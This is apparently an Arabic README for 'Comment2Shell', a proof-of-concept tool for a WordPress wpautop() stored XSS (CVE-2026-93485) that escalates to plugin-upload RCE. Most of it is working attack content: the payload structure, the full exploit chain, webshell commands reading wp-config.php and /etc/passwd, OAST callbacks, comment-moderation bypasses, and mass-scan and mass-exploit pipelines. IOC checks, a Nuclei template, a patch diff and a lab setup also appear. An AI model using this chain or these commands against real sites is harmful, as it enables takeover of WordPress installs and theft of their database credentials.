سلسلة استغلال Zero-click pre-auth لثغرة WordPress CVE-2026-93485: XSS مخزّن في wpautop() يتصاعد إلى رفع إضافة عبر جلسة المسؤول وwebshell ذاتي الحذف، مع ماسح ضوئي وshell وقالب Nuclei.
Comment2Shell هو إثبات مفهوم شامل لـ CVE-2026-93485، وهو XSS مخزّن قبل المصادقة في نواة WordPress wpautop() يتصاعد إلى تنفيذ تعليمات برمجية عن بُعد داخل جلسة المسؤول. يقوم تعليق مجهول بزرع الحمولة؛ وعندما يفتح المسؤول المقال، يرفع المتصفح إضافة webshell، وينفّذ أمرًا، ثم يحذف القشرة مرة أخرى. السلسلة بأكملها عبارة عن ملف Python واحد بدون أي تبعيات.
Comment2Shell هو استغلال ومجموعة مختبر محلي لـ CVE-2026-93485. تكمن الثغرة في wp-includes/formatting.php، في مرشّح الفقرة wpautop() الذي يعمل وقت العرض على نص التعليق. يتحول سطر جديد داخل خاصية blockquote cite إلى عنصر نائب لتعليق HTML؛ ويتوقف التعبير النمطي الذي يغلّف blockquotes عند أول ويزرع وسم فقرة في منتصف الخاصية، الذي يفسّره المتصفح بعد ذلك كمعالج . وتُفعّله خاصية بنقرة صفرية.
>onfocusautofocusتغطي الأداة السلسلة بأكملها: فحص إصدار سلبي، واختبار XSS غير ضار، والاستغلال الكامل من قبل المصادقة إلى RCE، وقشرة تفاعلية، وفحص IOC دفاعي.
لا يحتاج الاستغلال إلى حساب، ولا nonce، ولا تفاعل يتجاوز عرض المسؤول للمقال. يجب فقط أن تكون التعليقات مفتوحة.
يشغّل WordPress حصة كبيرة من الويب، وwpautop() كود أساسي، لذا يُشحن المرشّح المصاب على كل تثبيت متأثر بغض النظر عن القالب أو الإضافة. الـ XSS مخزّن، وقبل المصادقة، وبنقرة صفرية. ولأنه يُنفّذ في جلسة المسؤول فهو أكثر من مجرد ثغرة تشويه: ملف تعريف ارتباط المسؤول كافٍ لتثبيت إضافة، وتثبيت إضافة هو تنفيذ تعليمات برمجية عشوائية.
صدر الإصلاح في WordPress 7.1.1 مع backports عبر 25 فرعًا، وصولًا إلى 4.7.36. كل إصدار من 4.7.0 حتى 7.1.0 متأثر.
تشغيل في مختبر مُتحكَّم به ضد WordPress 7.1.0: يزرع تعليق مجهول الحمولة، ويُفعّل فتح المسؤول للمقال السلسلة ذات النقرة الصفرية، ويُرفع webshell، وتُعاد مخرجات الأمر، وتحذف القشرة نفسها. يُبلّغ عنوان تبويب المتصفح عن النتيجة، إما Comment2Shell: shell uploaded أو Comment2Shell: admin login required. راجع docker/README.md للإجراء الدقيق.
لا يدّعي Comment2Shell اكتشاف الثغرة. أبلغ عنها Rafie Muhammad (Awesome Motive) عبر برنامج HackerOne الخاص بـ WordPress وأُصلحت في 7.1.1. المساهمة هنا هي تنفيذ قابل لإعادة الإنتاج وبدون تبعيات للسلسلة الكاملة:
1. Anonymous comment submission (no auth, no nonce)
POST /wp-comments-post.php
<blockquote cite="a\nb"><code>x" onfocus=... autofocus>
KSES allows blockquote[cite] and code; the newline in cite survives.
2. Display-time filter chain (the bug)
wpautop() at formatting.php:563:
preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
[^>]* stops at the > inside the <!-- wpnl --> comment,
so a <p> gets injected inside the cite attribute.
3. wptexturize() seals the attribute (block themes)
Outer " becomes ” (curly quote).
The " inside <code> stays straight (no-texturize list).
The browser then parses onfocus/autofocus as real attributes.
4. Zero-click XSS in the admin session
autofocus fires onfocus on page load, no click needed.
JS runs with the admin cookies.
5. Admin session -> plugin upload -> RCE
GET /wp-admin/plugin-install.php, extract the nonce.
Build ZIP in memory, POST update.php?action=upload-plugin.
Webshell lands at wp-content/plugins/<rand>/<rand>.php.
GET /wp-content/plugins/<rand>/<rand>.php?c=id
comment_registration=0)git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help
لا تبعيات. Python 3.8+ المكتبة القياسية فقط، بدون pip install.
# Single target
python3 comment2shell.py --scan -t https://target.com
# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20
# From a pipeline
subfinder -d targets.txt | httpx -title | \
grep -i wordpress | python3 comment2shell.py --scan --stdin
# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json
# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com
# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
--callback https://your-id.oast.example
تُطلق حمولة الاستغلال
alert("Comment2Shell XSS - CVE-2026-93485")عند تحميل الصفحة (بنقرة صفرية عبرautofocus). اعرض المقال أثناء تسجيل الدخول كمسؤول. يقرأ عنوان التبويب بعد ذلكComment2Shell: shell uploadedعند النجاح، أوComment2Shell: admin login requiredإذا لم يكن للمتصفح جلسة مسؤول.
# Run a command, then delete the shell
python3 comment2shell.py -t https://target.com -c "id"
# Read wp-config.php
python3 comment2shell.py -t https://target.com -c "cat wp-config.php"
# Wait longer for the admin to view the post (default 45s)
python3 comment2shell.py -t https://target.com -c "id" --wait 60
# Keep the webshell after execution
python3 comment2shell.py -t https://target.com -c "id" --no-cleanup
# With an OAST callback
python3 comment2shell.py -t https://target.com \
-c "cat /etc/passwd" \
--callback https://your-id.oast.example
# Known-commenter approval bypass
python3 comment2shell.py -t https://target.com \
-c "whoami" --known-commenter
# Through a proxy
python3 comment2shell.py -t https://target.com \
-c "id" --proxy http://127.0.0.1:8080
تُرسل الأداة تعليق XSS، وتستطلع مسار webshell المُنشأ كل 3 ثوانٍ (حتى --wait ثانية)، وتنفّذ الأمر بمجرد أن يُفعّل متصفح المسؤول الرفع، ثم تحذف القشرة ذاتيًا (?d=1 يفصل ملف PHP ويزيل دليل الإضافة) بحيث لا يبقى أي استمرارية. مرّر --no-cleanup للإبقاء عليها، أو --wait 0 لإرسال الحمولة فقط.
# With a known shell path
python3 comment2shell.py --shell -t https://target.com \
--shell-path ab12cd/ab12cd.php
# Run a single command on an existing shell
python3 comment2shell.py --exec -t https://target.com \
--shell-path ab12cd/ab12cd.php -c "cat wp-config.php"
python3 comment2shell.py --ioc -t https://target.com
عادةً ما تُحتجز التعليقات الجديدة من المعلّقين لأول مرة للإشراف. لدى الأداة ثلاثة مسارات للالتفاف على ذلك:
| المسار | الطريقة | العلامة |
|---|---|---|
| معلّق معروف | يعيد استخدام "A WordPress Commenter" الافتراضي <[email protected]>، الذي يوافق عليه check_comment() تلقائيًا | --known-commenter |
| الإشراف معطّل | إذا كان comment_previously_approved=0، تتم الموافقة تلقائيًا على أي هوية | افتراضي |
| معاينة المؤلف | يرى معلّق سابق التعليقات المعلّقة عبر ملف تعريف الارتباط ?unapproved=<id>&moderation-hash=<hash> | تلقائي |
وفقًا لـ Patchstack: "الإشراف ليس ضابطًا أمنيًا."
شغّل WordPress 7.1.0 مصابًا للاختبار المحلي:
cd docker
docker compose up -d
bash setup.sh
# Target: http://localhost:80 (host networking)
# Admin: admin / Password123!
# Then: python3 comment2shell.py -t http://localhost -c "id"
تُرسل كل عملية تشغيل تعليق حمولة جديدًا. تعمل فقط أول حمولة autofocus على الصفحة، لذا تكتشف الأداة الحمولة الحية وتستطلع مسارها؛ شغّل bash clean.sh لمسح التعليقات الأقدم بين عمليات التشغيل.
# Suspicious comment submissions (newline in blockquote cite)
grep -rE 'blockquote.*cite=.*\n' /var/www/html/wp-content/ 2>/dev/null
# wp_comments table
mysql -e "SELECT comment_ID, comment_author, LEFT(comment_content,200) \
FROM wp_comments WHERE comment_content LIKE '%blockquote%cite%\
onfocus%' ORDER BY comment_date DESC;"
# Recently uploaded single-file plugins
find /var/www/html/wp-content/plugins/ -maxdepth 2 -name "*.php" \
-newer /var/www/html/wp-config.php -not -path "*/akismet/*" \
-not -path "*/hello*"
# Unusual POST to wp-comments-post.php with blockquote + onfocus
http.request.uri == "/wp-comments-post.php" AND
http.request.body contains "blockquote" AND
http.request.body contains "onfocus" AND
http.request.body contains "autofocus"
# Single-file plugin uploads from non-admin IPs
http.request.uri == "/wp-admin/update.php" AND
http.request.body contains "pluginzip"
nuclei -t nuclei/CVE-2026-93485.yaml -u https://target.com
# Vulnerable (before 7.1.1):
grep -n 'blockquote(\[^>\]\*)' wp-includes/formatting.php
# Should show: |<p><blockquote([^>]*)>|
# Patched (7.1.1+):
grep -n 'blockquote((?:\[^>"'\'')' wp-includes/formatting.php
# Should show: !<p><blockquote((?:[^>"']|"[^"]*"|'[^']*')*)>
# Find WordPress targets -> scan for CVE-2026-93485
subfinder -d program-scope.com -silent | \
httpx -silent -title | \
grep -i "wordpress" | \
python3 comment2shell.py --scan --stdin --threads 20
# Mass exploit with OAST (authorized testing only)
cat vulnerable_targets.txt | \
python3 comment2shell.py -t - -c "id" \
--callback https://your-id.oast.example
# Save results as JSON
python3 comment2shell.py --scan -f all_targets.txt \
--threads 30 -o scan_results.json --json
wp-includes/formatting.php:563 (مصاب، قبل 7.1.1):
// VULNERABLE: [^>]* stops at > inside HTML comment placeholder
$text = preg_replace( '|<p><blockquote([^>]*)>|i', '<blockquote$1><p>', $text );
// PATCHED (7.1.1): quote-aware subpattern
$text = preg_replace( '!<p><blockquote((?:[^>"\']|"[^"]*"|\'[^\']*\')*)>!i', '<blockquote$1><p>', $text );
الحمولة هي HTML غير ضار وقت الحفظ. blockquote[cite] وcode موجودان في قائمة السماح للتعليقات (wp-includes/kses.php:605-633). السطر الجديد ليس في خريطة أحرف الصياغة الخاصة بـ wp_kses_hair(). يحدث الاستغلال وقت العرض، عندما تحوّل مرشّحات comment_text الـ HTML المخزّن.
add_filter( 'comment_text', 'wptexturize' ); // seals the attribute
add_filter( 'comment_text', 'convert_chars' );
add_filter( 'comment_text', 'make_clickable', 9 );
add_filter( 'comment_text', 'force_balance_tags', 25 );
add_filter( 'comment_text', 'convert_smilies', 20 );
add_filter( 'comment_text', 'wpautop', 30 ); // THE BUG
صدر الإصلاح في 7.1.1 عبر 25 فرعًا. كل إصدار من 4.7.0 حتى 7.1.0 متأثر.
| الفرع | مصاب <= | مُصلَّح |
|---|---|---|
| 7.1 | 7.1.0 | 7.1.1 |
| 7.0 | 7.0.4 | 7.0.5 |
| 6.9 | 6.9.7 | 6.9.8 |
| 6.8 | 6.8.8 | 6.8.9 |
| 6.7 | 6.7.7 | 6.7.8 |
| 6.6 | 6.6.7 | 6.6.8 |
| 6.5 | 6.5.10 | 6.5.11 |
| 6.4 | 6.4.10 | 6.4.11 |
| 6.3 | 6.3.10 | 6.3.11 |
| 6.2 | 6.2.11 | 6.2.12 |
| 6.1 | 6.1.12 | 6.1.13 |
| 6.0 | 6.0.14 | 6.0.15 |
| 5.9 | 5.9.16 | 5.9.17 |
| 5.8 | 5.8.15 | 5.8.16 |
| 5.7 | 5.7.17 | 5.7.18 |
| 5.6 | 5.6.19 | 5.6.20 |
| 5.5 | 5.5.20 | 5.5.21 |
| 5.4 | 5.4.21 | 5.4.22 |
| 5.3 | 5.3.23 | 5.3.24 |
| 5.2 | 5.2.26 | 5.2.27 |
| 5.1 | 5.1.24 | 5.1.25 |
| 5.0 | 5.0.27 | 5.0.28 |
| 4.9 | 4.9.31 | 4.9.32 |
| 4.8 | 4.8.30 | 4.8.31 |
| 4.7 | 4.7.35 | 4.7.36 |
Comment2Shell/
|-- comment2shell.py scan, probe, exploit, shell, IOC check
|-- README.md
|-- PLAN.md weekly maintenance plan
|-- BROWSER_VALIDATION.md manual browser validation steps
|-- docker/ vulnerable WordPress 7.1.0 lab
| |-- docker-compose.yml
| |-- setup.sh
| |-- clean.sh
| +-- README.md
|-- nuclei/ detection template
|-- ioc/ server-side IOC checker
|-- requests/ raw HTTP exploit templates
|-- assets/ banner, logo, demo, animated SVGs
|-- browser_validate.html
|-- xss_validate.html
|-- validate.sh
+-- LICENSE
wptexturize يختم الخاصية)؛ قد لا تُفعّله القوالب الكلاسيكية.docker/clean.sh.
يوجد هذا المشروع للاختبار الأمني المصرّح به والتعليم. استخدمه فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح باختبارها. الوصول غير المصرّح به إلى أنظمة الحاسوب غير قانوني في معظم الولايات القضائية. المؤلفون غير مسؤولين عن سوء الاستخدام أو الضرر. راجع LICENSE.
0xDeathShotX_X - github.com/DeathShotXD | @SyedWaj25802383